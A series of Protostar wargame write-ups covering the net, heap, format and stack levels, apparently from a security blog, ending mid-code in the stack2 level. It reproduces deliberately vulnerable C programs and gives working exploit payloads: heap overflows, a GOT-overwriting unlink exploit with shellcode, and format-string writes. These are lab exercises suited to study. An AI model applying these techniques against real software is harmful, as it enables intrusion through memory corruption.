protostar

Protostar net0-3 write-ups

Net 0

In this level we are presented with an integer and we have to reply the server with a little endian version of the integer. We use python and the struct module to do the conversion for us:

from socket import *  
from struct import *

s = socket(AF_INET, SOCK_STREAM)  
s.connect(("localhost", 2999))  
challange = s.recv(1024)  
start = challange.find("'") + 1  
end = challange.find("'", start)  
num = int(challange[start:end])  
print "Challange: " + str(num)  
li = pack("<I", num)  
s.send(li)  
print(s.recv(1024))  
s.close()  

And the result:

[email protected]:~$ python net0.py  
Challange: 637794649  
Thank you sir/madam  

Net 1

In this level we are presented with an integer in little endian representation and we have to send back se ASCII representation. The following script can do that:

from socket import *  
from struct import *

s = socket(AF_INET, SOCK_STREAM)  
s.connect(("localhost", 2998))

wanted = s.recv(1024)  
challange = str(unpack("<I", wanted)[0])  
print("Received: " + str(challange))  
s.send(challange)

print(s.recv(1024))  
s.close()  

And the result:

[email protected]:~$ python net1.py  
Received: 2033048370  
you correctly sent the data  

Net 2

In this level we are presented with 4 integers in little endian representation and we have to sum them and send back the little endian representation. The following script can do that:

from socket import *  
from struct import *

s = socket(AF_INET, SOCK_STREAM)  
s.connect(("localhost", 2997))

sum = 0  
for i in range(4):  
        n = s.recv(1024)
        num = int(unpack("<I", n)[0])
        print("Received: " + str(num))
        sum += num
print("Sum: " + str(sum))  
sum = pack("<I", sum)  
s.send(str(sum))

print(s.recv(1024))  
s.close()  

The output:

[email protected]:~$ python net2.py  
Received: 1586317571  
Received: 1593370836  
Received: 1661924573  
Received: 1044911132  
Sum: 5886524112  
net2.py:14: DeprecationWarning: struct integer overflow masking is deprecated  
  sum = pack("<I", sum)
you added them correctly  

It seems that the integer overflow masking is deprecated so we better do it our selves:

from socket import *  
from struct import *

s = socket(AF_INET, SOCK_STREAM)  
s.connect(("localhost", 2997))

sum = 0  
for i in range(4):  
        n = s.recv(1024)
        num = int(unpack("<I", n)[0])
        print("Received: " + str(num))
        sum += num
print("Sum: " + str(sum))  
sum &= 0xffffffff  
sum = pack("<I", sum)  
s.send(str(sum))

print(s.recv(1024))  
s.close()  

and no warning this time:

[email protected]:~$ python net2.py  
Received: 1138605574  
Received: 1651147310  
Received: 1386380907  
Received: 1000341308  
Sum: 5176475099  
you added them correctly  

Net 3

In this level we are given the following code:

#include "../common/common.c"

#define NAME "net3"
#define UID 996
#define GID 996
#define PORT 2996

/*
 * Extract a null terminated string from the buffer
 */

int get_string(char **result, unsigned char *buffer, u_int16_t len)  
{
  unsigned char byte;

  byte = *buffer;

  if(byte > len) errx(1, "badly formed packet");
  *result = malloc(byte);
  strcpy(*result, buffer + 1);

  return byte + 1;
}

/*
 * Check to see if we can log into the host
 */

int login(unsigned char *buffer, u_int16_t len)  
{
  char *resource, *username, *password;
  int deduct;
  int success;

  if(len < 3) errx(1, "invalid login packet length");

  resource = username = password = NULL;

  deduct = get_string(&resource, buffer, len);
  deduct += get_string(&username, buffer+deduct, len-deduct);
  deduct += get_string(&password, buffer+deduct, len-deduct);

  success = 0;
  success |= strcmp(resource, "net3");
  success |= strcmp(username, "awesomesauce");
  success |= strcmp(password, "password");

  free(resource);
  free(username);
  free(password);

  return ! success;
}

void send_string(int fd, unsigned char byte, char *string)  
{
  struct iovec v[3];
  u_int16_t len;
  int expected;

  len = ntohs(1 + strlen(string));

  v[0].iov_base = &len;
  v[0].iov_len = sizeof(len);

  v[1].iov_base = &byte;
  v[1].iov_len = 1;

  v[2].iov_base = string;
  v[2].iov_len = strlen(string);

  expected = sizeof(len) + 1 + strlen(string);

  if(writev(fd, v, 3) != expected) errx(1, "failed to write correct amount of bytes");

}

void run(int fd)  
{
  u_int16_t len;
  unsigned char *buffer;
  int loggedin;

  while(1) {
    nread(fd, &len, sizeof(len));
    len = ntohs(len);
    buffer = malloc(len);

    if(! buffer) errx(1, "malloc failure for %d bytes", len);

    nread(fd, buffer, len);

    switch(buffer[0]) {
      case 23:
        loggedin = login(buffer + 1, len - 1);
        send_string(fd, 33, loggedin ? "successful" : "failed");
        break;

      default:
        send_string(fd, 58, "what you talkin about willis?");
        break;
    }
  }
}

int main(int argc, char **argv, char **envp)  
{
  int fd;
  char *username;

  /* Run the process as a daemon */
  background_process(NAME, UID, GID);

  /* Wait for socket activity and return */
  fd = serve_forever(PORT);

  /* Set the client socket to STDIN, STDOUT, and STDERR */
  set_io(fd);

  /* Don't do this :> */
  srandom(time(NULL));

  run(fd);
}

The program is reading a value from the network (len) and convert it from network byte order (bin endian) to host byte order (little endian) and then uses malloc to reserve that length in the heap

Then it reads again from the network the number of bytes specified in the length value and into the heap chunk we just reserved.

Then it reads the first byte and if it is 23 (0x17) then it calls the login function with the rest of the string read from the network

The login function scans the string for three values: net3, awesomesauce and password
Each of these strings need to be preceded of a byte indicating its size (including the null byte) and followed by a NULL byte.

Solution:

from socket import *  
from struct import *

s = socket(AF_INET, SOCK_STREAM)  
s.connect(("localhost", 2996))

# Send the login string
login = "\x17" + "\x05net3\x00" + "\x0dawesomesauce\x00" + "\x0apassword\x00"  
llength = len(login)

print "Sending login string: " + login  
print "length: " + str(llength)

# Send the login length as unsigned short (H) and network byte order (!)
s.send(pack("!H", llength))  
s.send(login)

print(s.recv(1024))  
s.close()  
[email protected]:~$ python net3.py  
awesomesaucen string: net3  
password  
length: 31

!successful

Protostar heap0-4 write-ups

Heap0

In Heap0 we are given the following vulnerable code:

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

struct data {  
  char name[64];
};

struct fp {  
  int (*fp)();
};

void winner()  
{
  printf("level passed\n");
}

void nowinner()  
{
  printf("level has not been passed\n");
}

int main(int argc, char **argv)  
{
  struct data *d;
  struct fp *f;

  d = malloc(sizeof(struct data));
  f = malloc(sizeof(struct fp));
  f->fp = nowinner;

  printf("data is at %p, fp is at %p\n", d, f);

  strcpy(d->name, argv[1]);

  f->fp();

}

From a quick peek to the source code, we can see that our first argument can overflow the d->name buffer (64bytes) and so overwrite the f->fp pointer.

If we run the program with ltrace we will be able to analyze malloc calls:

[email protected]:~$ ltrace /opt/protostar/bin/heap0 `perl -e 'print "A"*64'`  
__libc_start_main(0x804848c, 2, 0xbffff874, 0x8048520, 0x8048510 <unfinished ...>  
malloc(64)                                                                                    = 0x0804a008  
malloc(4)                                                                                     = 0x0804a050  
printf("data is at %p, fp is at %p\n", 0x804a008, 0x804a050data is at 0x804a008, fp is at 0x804a050  
)                                  = 41
strcpy(0x0804a008, "0")                                                                       = 0x0804a008  
puts("level has not been passed"level has not been passed  
)                                                             = 26
+++ exited (status 26) +++

Ok, so the f->fp address is 0x0804a050 and the beginning of our d->data buffer is at 0x0804a008. So if we fill d->data with 72 bytes (0x0804a050 - 0x0804a008) the next 4 bytes will overwrite f->fp

[email protected]:~$ gdb -q /opt/protostar/bin/heap0  
Reading symbols from /opt/protostar/bin/heap0...done.  
(gdb) run `perl -e 'print "A"x72 ."BBBB"'`
Starting program: /opt/protostar/bin/heap0 `perl -e 'print "A"x72 ."BBBB"'`  
data is at 0x804a008, fp is at 0x804a050

Program received signal SIGSEGV, Segmentation fault.  
0x42424242 in ?? ()  

Nice!, lets use our winner address:

[email protected]:~$ objdump -t /opt/protostar/bin/heap0 | grep winner  
08048464 g     F .text    00000014              winner  
08048478 g     F .text    00000014              nowinner  

and ...

[email protected]:~$ /opt/protostar/bin/heap0 `perl -e 'print "A"x72 ."\x64\x84\x04\x08"'`  
data is at 0x804a008, fp is at 0x804a050  
level passed  

Heap1

In Heap1 we are given the following vulnerable code:

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>



struct internet {  
  int priority;
  char *name;
};

void winner()  
{
  printf("and we have a winner @ %d\n", time(NULL));
}

int main(int argc, char **argv)  
{
  struct internet *i1, *i2, *i3;

  i1 = malloc(sizeof(struct internet));
  i1->priority = 1;
  i1->name = malloc(8);

  i2 = malloc(sizeof(struct internet));
  i2->priority = 2;
  i2->name = malloc(8);

  strcpy(i1->name, argv[1]);
  strcpy(i2->name, argv[2]);

  printf("and that's a wrap folks!\n");
}

Ok, lets run a "lets be good guys" run with ltrace and expected arguments (8 bytes per name):

[email protected]:~$ ltrace /opt/protostar/bin/heap1 AAAAAAAA BBBBBBBB  
__libc_start_main(0x80484b9, 3, 0xbffff864, 0x8048580, 0x8048570 <unfinished ...>  
malloc(8)                                                                                     = 0x0804a008  
malloc(8)                                                                                     = 0x0804a018  
malloc(8)                                                                                     = 0x0804a028  
malloc(8)                                                                                     = 0x0804a038  
strcpy(0x0804a018, "AAAAAAAA")                                                                = 0x0804a018  
strcpy(0x0804a038, "BBBBBBBB")                                                                = 0x0804a038  
puts("and that's a wrap folks!"and that's a wrap folks!  
)                                                              = 25
+++ exited (status 25) +++

Lets make some sense of all those mallocs:

internet1 at 0x0804a008 (size 8)
--> internet1.priority at 0x0804a008 (size 4) --> internet1.name at 0x0804a00c (size 4) ----> memory area pointed by internet1.name at 0x0804a018 (size 8) internet2 at 0x0804a028 (size 8)
--> internet2.priority at 0x0804a028 (size 4) --> internet2.name at 0x0804a02c (size 4) ----> memory area pointed by internet2.name at 0x0804a038 (size 8)

So with our A payload we could easily overwite internet2.priority, internet2.name and memory area pointed by internet2.name.
Our B payload will be written to the address stored in internet2.name by default this address points to the value returned by the last malloc call: 0x0804a038 but we can overwrite it with our A payload.
Thats pretty nice, we can write any arbitrary content (B payload) in any arbitrary address (controlled by A payload). All we have to do is replace the GOT entry for the puts call we saw in the ltrace output, so when it gets executed, we can execute another function instead.

Lets find winner address:

[email protected]:~$ objdump -t /opt/protostar/bin/heap1 | grep winner  
08048494 g     F .text    00000025              winner  

and the puts entry in GOT:

[email protected]:~$ objdump -TR /opt/protostar/bin/heap1 | grep puts  
00000000      DF *UND*    00000000  GLIBC_2.0   puts  
08049774 R_386_JUMP_SLOT   puts  

And now lets do some maths and build our payload:

A payload: Ax(0x0804a02c - 0x0804a018) + "\x74\x97\x04\x08" = "A"x 20 . "\x74\x97\x04\x08"
B payload: "\x94\x84\x04\x08"

[email protected]:~$ /opt/protostar/bin/heap1 `perl -e 'print "A"x20 ."\x74\x97\x04\x08"'` `perl -e 'print "\x94\x84\x04\x08"'`  
and we have a winner @ 1387538886  

Nice, lets check the internals with ltrace:

[email protected]:~$ ltrace /opt/protostar/bin/heap1 `perl -e 'print "A"x20 ."\x74\x97\x04\x08"'` `perl -e 'print "\x94\x84\x04\x08"'`  
__libc_start_main(0x80484b9, 3, 0xbffff854, 0x8048580, 0x8048570 <unfinished ...>  
malloc(8)                                                                                     = 0x0804a008  
malloc(8)                                                                                     = 0x0804a018  
malloc(8)                                                                                     = 0x0804a028  
malloc(8)                                                                                     = 0x0804a038  
strcpy(0x0804a018, "AAAAAAAAAAAAAAAAAAAAt\227\004\b")                                         = 0x0804a018  
strcpy(0x08049774, "\224\204\004\b")                                                          = 0x08049774  
puts("and that's a wrap folks!" <unfinished ...>  
time(NULL)                                                                                    = 1387538870  
printf("and we have a winner @ %d\n", 1387538870and we have a winner @ 1387538870  
)                                             = 34
<... puts resumed> )                                                                          = 34  
+++ exited (status 34) +++

We can see that we sucessfully overwrote the strcpy destination address. Voila!!

Heap2

In Heap2 we are given the following vulnerable code:

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

struct auth {  
  char name[32];
  int auth;
};

struct auth *auth;  
char *service;

int main(int argc, char **argv)  
{
  char line[128];

  while(1) {
    printf("[ auth = %p, service = %p ]\n", auth, service);

    if(fgets(line, sizeof(line), stdin) == NULL) break;

    if(strncmp(line, "auth ", 5) == 0) {
      auth = malloc(sizeof(auth));
      memset(auth, 0, sizeof(auth));
      if(strlen(line + 5) < 31) {
        strcpy(auth->name, line + 5);
      }
    }
    if(strncmp(line, "reset", 5) == 0) {
      free(auth);
    }
    if(strncmp(line, "service", 6) == 0) {
      service = strdup(line + 7);
    }
    if(strncmp(line, "login", 5) == 0) {
      if(auth->auth) {
        printf("you have logged in already!\n");
      } else {
        printf("please enter your password\n");
      }
    }
  }
}

Ok, I have no clue where to begin with :) so I just run it on ltrace to see if I see something suspicious. I run "auth alvaro" and "service":

[email protected]:~$ ltrace /opt/protostar/bin/heap2  
__libc_start_main(0x8048934, 1, 0xbffff874, 0x804acc0, 0x804acb0 <unfinished ...>  
printf("[ auth = %p, service = %p ]\n", (nil), (nil)[ auth = (nil), service = (nil) ]  
)                                         = 34
fgets(auth alvaro  
"auth alvaro\n", 128, 0xb7fd8420)                                                       = 0xbffff740  
strncmp("auth alvaro\n", "auth ", 5)                                                          = 0  
sysconf(30, 0, 0xb7fe1b28, 1, 0)                                                              = 4096  
sbrk(4096)                                                                                    = 0x0804c000  
sbrk(0)                                                                                       = 0x0804d000  
memset(0x0804c008, '\000', 4)                                                                 = 0x0804c008  
strlen("alvaro\n")                                                                            = 7  
strcpy(0x0804c008, "alvaro\n")                                                                = 0x0804c008  
strncmp("auth alvaro\n", "reset", 5)                                                          = -17  
strncmp("auth alvaro\n", "service", 6)                                                        = -18  
strncmp("auth alvaro\n", "login", 5)                                                          = -11  
printf("[ auth = %p, service = %p ]\n", 0x804c008, (nil)[ auth = 0x804c008, service = (nil) ]  
)                                     = 38
fgets(service  
"service\n", 128, 0xb7fd8420)                                                           = 0xbffff740  
strncmp("service\n", "auth ", 5)                                                              = 18  
strncmp("service\n", "reset", 5)                                                              = 1  
strncmp("service\n", "service", 6)                                                            = 0  
strdup("\n")                                                                                  = 0x0804c018  
strncmp("service\n", "login", 5)                                                              = 7  
printf("[ auth = %p, service = %p ]\n", 0x804c008, 0x804c018[ auth = 0x804c008, service = 0x804c018 ]  
)                                 = 42
fgets(  

Ok, first thing weird is that memset call is just for 4 bytes!! wait, the source is not allocating the size of the struct but the size of the pointer thats 4 bytes!
So we have a 4 bytes space in the heap containing the address of the auth pointer. This heap space is at 0x0804c008
Now the strcpy(0x0804c008, "alvaro\n") is not copying to auth struct but overwriting the struct address in the heap
From the output of the service command we can see that the argument to the service command is allocated at 0x804c018 that is 16 bytes above the auth space.

Now in the login bit of the program, we are using auth->auth but auth is not the struct is the pointer to the struct!! Anyway, the compiler will cast it to the struct and so it will look for the auth member 32 bytes above the beggining of the "struct" (really the address of the auth pointer address)

We can use the auth command argument to write the auth pointer address
We can use the service command argument to write anything to 0x804c018

So we want to place anything but a 0 32 bytes above 0x804c008. We cannot use the argument to the auth command since it is controlled but we can use the argument to the service command.
Writing any string longer than 16 bytes (auth int offset within the auth struct - 0x804c018 - 0x804c008) will be enough

[email protected]:~$ /opt/protostar/bin/heap2  
[ auth = (nil), service = (nil) ]
auth alvaro  
[ auth = 0x804c008, service = (nil) ]
service AAAAAAAAAAAAAAAAB  
[ auth = 0x804c008, service = 0x804c018 ]
login  
you have logged in already!  
[ auth = 0x804c008, service = 0x804c018 ]

Heap3

In Heap3 we are given the following vulnerable code:

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

void winner()  
{
  printf("that wasn't too bad now, was it? @ %d\n", time(NULL));
}

int main(int argc, char **argv)  
{
  char *a, *b, *c;

  a = malloc(32);
  b = malloc(32);
  c = malloc(32);

  strcpy(a, argv[1]);
  strcpy(b, argv[2]);
  strcpy(c, argv[3]);

  free(c);
  free(b);
  free(a);

  printf("dynamite failed?\n");
}

This example looks like a classic vulnerable unlink scenario where we can override a chunk of memory an fool free() to call unlink() on it but the memory chunks are freed in the reverse order and we will need to pay special attention.
I recommend you to get familiar with how the heap works and what happens once we call free. Some good references :

When free(c) is called, it will detect that the memory before ("b") is in use and the memory after is the wilderness (cool name, uh?) so it will just expand the wilderness to take "c"
When free(b) is called, it will detect the same scenario but there is a chance for us to fool free() into calling the unlink macro on the previous chunk of code.
The idea is that when freeing "b"" the free() algorithm will check if the chunk before "b"" is free and if so, it will unlink it and merge it with "b" and the wilderness. Otherwise, merging just "b" and the wilderness without checking "a" can lead to leave a free chunk just before the wilderness ... and that makes no sense.

So we need to fool free(b) into thinking that "a" is free so that free() will unlink it and merge it with the chunk being freed (b) before linking the merged block again into "bin".

In order to do that we will modify b's headers so that:
size = anything with PREVINUSE not set and big enough to hold our payload

This way the free() algorithm will think that a is free but we cannot overwrite a's headers to modify its bk and fd pointers and get arbitrary code execution :(
Lets see if we can fool free() again to unlink a different portion of memory (instead of "a").

In order to calculate "a" address, free() will use b's prevsize so that:
&a = &b - b
prev_size

We can overwrite b's prev_size and set a negative number like -4 so that free() will try to unlink &b-(-4) = &b + 4. All we need to do is placing a fake chunk there.

We need to write our fake *fd and *bk pointers at that offset (because &b does not point to the prev_size or size headers, but to the beggining of *fd). In order to redirect program execution we need to set his *fd and *bk in the following way (omiting how we get GOT and winner address since it has been shown on previous write-ups):

fd = (address to write on -12) = GOT entry for puts - 12 = 0x0804b128 - 12 = 0x0804b11c
bk = (content to write on [fd + 12]) = &winner = 0x08048864

Ok, now we have everything we needed, lets craft the argv payloads

argv[1]:
adata + bprevsize + bsize
"A"x32 + (-4) + (!PREVINUSE)
"A"x32 . "\xfc\xff\xff\xff" . "\xf0\xff\xff\xff"

argv[2]:
4bytes_offset + fake->fd + fake-bk
"BBBB" + 0x0804b11c + 0x08048864
"BBBB" . "\x1c\xb1\x04\x08" . "\x64\x88\x04\x08"

argv[2]:
c_data
"CCCC"

Payload:

[email protected]:~$ /opt/protostar/bin/heap3 `python -c 'print "A"*32 + "\xfc\xff\xff\xff" + "\xfc\xff\xff\xff"'` `python -c 'print "BBBB" + "\x1c\xb1\x04\x08" + "\x64\x88\x04\x08"'` CCCC  
Segmentation fault  

Damn it!! Lets have a look with gdb:

[email protected]:~$ gdb -q /opt/protostar/bin/heap3  
Reading symbols from /opt/protostar/bin/heap3...done.  
(gdb) run `python -c 'print "A"*32 + "\xfc\xff\xff\xff" + "\xfc\xff\xff\xff"'` `python -c 'print "BBBB" + "\x1c\xb1\x04\x08" + "\x64\x88\x04\x08"'` CCCC
Starting program: /opt/protostar/bin/heap3 `python -c 'print "A"*32 + "\xfc\xff\xff\xff" + "\xfc\xff\xff\xff"'` `python -c 'print "BBBB" + "\x1c\xb1\x04\x08" + "\x64\x88\x04\x08"'` CCCC

Program received signal SIGSEGV, Segmentation fault.  
0x08049906 in free (mem=0x804c030) at common/malloc.c:3638  
3638    common/malloc.c: No such file or directory.  
    in common/malloc.c
(gdb) x/x 0x0804b128
0x804b128 <_GLOBAL_OFFSET_TABLE_+64>:    0x08048864  
(gdb) p winner
$1 = {void (void)} 0x8048864 <winner>

As you can see we have successfully overwritten the GOT entry for puts() with the winner address but we have a segmentation fault within malloc.c

Lets try an alternative approach. Instead of jumping straight to the winner address, we will prepare a shellcode that will get there for us and we will place this shellcode in the first chunk.

Shellcode:
jmp 12
nop sled
push &winner
ret

or in opcodes:
\xeb\x0c\x90..\x90\xeb\x0c\x68\x64\x88\x04\x08\xc3

We want to jump 12 bytes because unlink will overwrite part of our shellcode.

[email protected]:~$ /opt/protostar/bin/heap3 `python -c 'print "\xeb\x0c" + \x90"*18 + "\x68\x64\x88\x04\x08\xc3" + "A"*6 + "\xfc\xff\xff\xff" + "\xfc\xff\xff\xff"'` `python -c 'print "BBBB"+"\x1c\xb1\x04\x08"+"\x08\xc0\x04\x08"'` CCCC  
that wasn't too bad now, was it? @ 1387564812  

Wow, it worked!

If we set up a breakpoint in winner function, we can check that puts() GOT entry has been overwritten successfully:

(gdb) b *winner
Breakpoint 1 at 0x8048864: file heap3/heap3.c, line 8.  
(gdb) run `python -c 'print "\xeb\x0c" + "\x90"*18 + "\x68\x64\x88\x04\x08\xc3" + "A"*6 + "\xfc\xff\xff\xff" + "\xfc\xff\xff\xff"'` `python -c 'print "BBBB"+"\x1c\xb1\x04\x08"+"\x08\xc0\x04\x08"'` CCCC
Starting program: /opt/protostar/bin/heap3 `python -c 'print "\xeb\x0c" + "\x90"*18 + "\x68\x64\x88\x04\x08\xc3" + "A"*6 + "\xfc\xff\xff\xff" + "\xfc\xff\xff\xff"'` `python -c 'print "BBBB"+"\x1c\xb1\x04\x08"+"\x08\xc0\x04\x08"'` CCCC

Breakpoint 1, winner () at heap3/heap3.c:8  
8    heap3/heap3.c: No such file or directory.  
    in heap3/heap3.c
(gdb) x/x 0x0804b128
0x804b128 <_GLOBAL_OFFSET_TABLE_+64>:    0x0804c008  
(gdb) x/20x 0x0804c008
0x804c008:    0x00000000  0x90909090  0x0804b11c  0x90909090  
0x804c018:    0x90909090  0x04886468  0x4141c308  0xfffffff8  
0x804c028:    0xfffffffc  0xfffffffc  0xfffffff9  0x0804b194  
0x804c038:    0x0804b194  0x00000000  0x00000000  0x00000000  
0x804c048:    0x00000000  0x00000000  0x00000000  0x00000fb1  

We can also see that part of our NOP sled has been overwritten by unlink()

A great write up can be found here

Protostar format0-4 write-ups

Format0

In Format0 we are given the following vulnerable code:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void vuln(char *string)  
{
  volatile int target;
  char buffer[64];

  target = 0;

  sprintf(buffer, string);

  if(target == 0xdeadbeef) {
    printf("you have hit the target correctly :)\n");
  }
}

int main(int argc, char **argv)  
{
  vuln(argv[1]);
}

This is not really a format string vulnerability, our argument is going to be written in buffer with no size checks and buffer is just above target so we can overwrite it:

[email protected]:~$ /opt/protostar/bin/format0 `python -c 'print("A"*64 + "\xef\xbe\xad\xde")'`  
you have hit the target correctly :)  

If we want to do it in a more FormatString fashion:

[email protected]:~$ /opt/protostar/bin/format0 %64d`python -c 'print("\xef\xbe\xad\xde")'`  
you have hit the target correctly :)  

Format1

In Format1 we are given the following vulnerable code:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void vuln(char *string)  
{
  printf(string);

  if(target) {
    printf("you have modified the target :)\n");
  }
}

int main(int argc, char **argv)  
{
  vuln(argv[1]);
}

We need to find the target address:

[email protected]:~$ gdb -q /opt/protostar/bin/format1  
Reading symbols from /opt/protostar/bin/format1...done.  
(gdb) b main
Breakpoint 1 at 0x8048425: file format1/format1.c, line 19.  
(gdb) r aaaa
Starting program: /opt/protostar/bin/format1 aaaa

Breakpoint 1, main (argc=2, argv=0xbffff844) at format1/format1.c:19  
19    format1/format1.c: No such file or directory.  
    in format1/format1.c
(gdb) p &target
$2 = (int *) 0x8049638

We also need to find how far is going to be our string argument. We will be using the format string to read the memory till we find our string:

[email protected]:~$ for i in {1..200};do echo "trying offset $i - `/opt/protostar/bin/format1 DDDD%$i\\$08x`"; done | grep DDDD44444444  
trying offset 133 - DDDD44444444  

Ok, so now, we will be writing an "unknown" value (number of characters written so far) into the address pointed by the 133 argument which turns out to be our string and the first 4 bytes are pointing the the address of target in the BSS section. So will be overwritting target

/opt/protostar/bin/format1 `python -c 'print("\x38\x96\x04\x08")'`%133\$08n
8you have modified the target :)  

Format2

In Format2 we are given the following vulnerable code:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void vuln()  
{
  char buffer[512];

  fgets(buffer, sizeof(buffer), stdin);
  printf(buffer);

  if(target == 64) {
    printf("you have modified the target :)\n");
  } else {
    printf("target is %d :(\n", target);
  }
}

int main(int argc, char **argv)  
{
  vuln();
}

Ok, lets find the target address in BSS:

[email protected]:~$ objdump -t /opt/protostar/bin/format2 | grep target  
080496e4 g     O .bss    00000004              target  

Now, lets find how far is buffer:

[email protected]:~$ for i in {1..200};do echo DDDD%$i\$08x > temp; echo "trying offset $i - `/opt/protostar/bin/format2 < temp`"; done | grep DDDD44444444  
trying offset 4 - DDDD44444444  

Lets verify it writing "4" (the minimum value we can write since its the number of bytes of the address we want to write in):

[email protected]:~$ perl -e 'print "\xe4\x96\x04\x08"."%4\$08n"' | /opt/protostar/bin/format2  
perl: warning: Setting locale failed.  
perl: warning: Please check that your locale settings:  
    LANGUAGE = (unset),
    LC_ALL = (unset),
    LC_CTYPE = "es_ES.UTF-8",
    LANG = "en_US.UTF-8"
    are supported and installed on your system.
perl: warning: Falling back to the standard locale ("C").  
target is 4 :(  

Ok, it works, so lets go for the 64:

[email protected]:~$ perl -e 'print "\xe4\x96\x04\x08"."%60d"."%4\$08n"' | /opt/protostar/bin/format2  
perl: warning: Setting locale failed.  
perl: warning: Please check that your locale settings:  
    LANGUAGE = (unset),
    LC_ALL = (unset),
    LC_CTYPE = "es_ES.UTF-8",
    LANG = "en_US.UTF-8"
    are supported and installed on your system.
perl: warning: Falling back to the standard locale ("C").  
                                                         512you have modified the target :)

Format3

In Format3 we are given the following vulnerable code:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void printbuffer(char *string)  
{
  printf(string);
}

void vuln()  
{
  char buffer[512];

  fgets(buffer, sizeof(buffer), stdin);

  printbuffer(buffer);

  if(target == 0x01025544) {
    printf("you have modified the target :)\n");
  } else {
    printf("target is %08x :(\n", target);
  }
}

int main(int argc, char **argv)  
{
  vuln();
}

Ok, same thing but now target is checked against a dword, and in order to write such a large number we will be writing two consecutive shorts. First thing, find the target address:

[email protected]:~$ objdump -t /opt/protostar/bin/format3 | grep target  
080496f4 g     O .bss    00000004              target  

Next, find the offsite of the buffer:

[email protected]:~$ for i in {1..200};do echo DDDD%$i\$08x > temp; echo "trying offset $i - `/opt/protostar/bin/format3 < temp`"; done | grep DDDD44444444  
trying offset 12 - DDDD44444444  

So the trick here is to split 0x01025544 into 0x0102 and 0x5544 and write them in two consecutive 2bytes memory addresses.

0x0102 = 258
0x5544 = 21828

So we need to write 258 into 0x080496f6 (target + 2 address) and 21828 into 080496f4 (target address) since we are using a little indian system. Also, we only want to write two bytes, so we will use %hn for that.

Also, the arguments to printf will be addresses so 4 bytes each. If our buffer starts in the offset 12, then the next printf argument (13) will be 4 bytes from the beggining of our buffer, and thats where we need to place the address of the 2 LSB bytes:

[email protected]:~$ perl -e 'print "\xf6\x96\x04\x08"."\xf4\x96\x04\x08"."%250d"."%12\$hn"."%21570d"."%13\$hn"' | /opt/protostar/bin/format3  
..
..
..
-1073744480you have modified the target :)

Format4

In Format4 we are given the following vulnerable code:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void hello()  
{
  printf("code execution redirected! you win\n");
  _exit(1);
}

void vuln()  
{
  char buffer[512];

  fgets(buffer, sizeof(buffer), stdin);

  printf(buffer);

  exit(1);
}

int main(int argc, char **argv)  
{
  vuln();
}

In this level, we need to redirect execution flow to the "unused" hello() function. The easiest way to do it is using the format string vulnerability in printf(buffer) to overwrite an entry in the GOT table where system function addresses are cached. The only function called after printf is exit() so if we overwrite exit address in the GOT table with the hello() address, we will successfully redirect the execution flow to hello(). We need to know:
- hello() address - exit() address in GOT table - Format Strig offset

hello() address:

[email protected]:~$ objdump -t /opt/protostar/bin/format4 | grep hello  
080484b4 g     F .text    0000001e              hello  

exit() address in GOT table:

[email protected]:~$ objdump -TR /opt/protostar/bin/format4 | grep exit  
00000000      DF *UND*    00000000  GLIBC_2.0   _exit  
00000000      DF *UND*    00000000  GLIBC_2.0   exit  
08049718 R_386_JUMP_SLOT   _exit  
08049724 R_386_JUMP_SLOT   exit  

Format Strig offset:

[email protected]:~$ for i in {1..200};do echo DDDD%$i\$08x > temp; echo "trying offset $i - `/opt/protostar/bin/format4 < temp`"; done | grep DDDD44444444  
trying offset 4 - DDDD44444444  

We want to write hello() address which is too long for a format string attack so we will be using the technique presented in format3.
hello() address is 0x080484b4
We can split it so:
0x0804 = 2052 will be written in the 2 last bytes of the target address -> 0x08049726
0x84b4 = 33972 will be written in the 2 first bytes of the target address -> 0x08049724

Since 33972 > 2052 we need to write 2052 first:

"\x26\x97\x04\x08"."\x24\x97\x04\x08"."%(2052-8)d"."%4\$hn"."%(33972-2052)d"."%5\$hn"  

Doing the maths:

"\x26\x97\x04\x08"."\x24\x97\x04\x08"."%2044d"."%4\$hn"."%31920d"."%5\$hn"  

And the attack:

[email protected]:~$ perl -e 'print "\x26\x97\x04\x08"."\x24\x97\x04\x08"."%2044d"."%4\$hn"."%31920d"."%5\$hn"' | /opt/protostar/bin/format4  
&$
..
..
    512
..
..
-1208122336code execution redirected! you win

Protostar stack0-7 write-up

Stack0

In Stack0 we need to exploit the following program:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

int main(int argc, char **argv)  
{
  volatile int modified;
  char buffer[64];

  modified = 0;
  gets(buffer);

  if(modified != 0) {
    printf("you have changed the 'modified' variable\n");
  } else {
    printf("Try again?\n");
  }
}

Since modified variable is between saved EBP and buffer any character overflowing buffer will change modified:

[email protected]:~$ echo `python -c 'print("A"*64)'` | /opt/protostar/bin/stack0  
Try again?  
[email protected]:~$ echo `python -c 'print("A"*65)'` | /opt/protostar/bin/stack0  
you have changed the 'modified' variable  

Stack1

Stack1 is similar but now we have to set modified to the hexadecimal value: 0x61626364

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)  
{
  volatile int modified;
  char buffer[64];

  if(argc == 1) {
    errx(1, "please specify an argument\n");
  }

  modified = 0;
  strcpy(buffer, argv[1]);

  if(modified == 0x61626364) {
    printf("you have correctly got the variable to the right value\n");
  } else {
    printf("Try again, you got 0x%08x\n", modified);
  }
}

Solution:

[email protected]:~$ /opt/protostar/bin/stack1 `python -c 'print("A"*64 + "\x64\x63\x62\x61")'`  
you have correctly got the variable to the right value  

Stack2

Stack2 gives us the following code:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)  
{
  volatile int modified;
  char buffer[64];
  char *variable;

  variable = getenv("GREENIE");

  if(variable == NULL) {
    errx(1, "please set the GREENIE environment variable\n");
  }

  modified = 0;

  strcpy(buffer, variable);

  if(modified == 0x0d0a0d0a) {
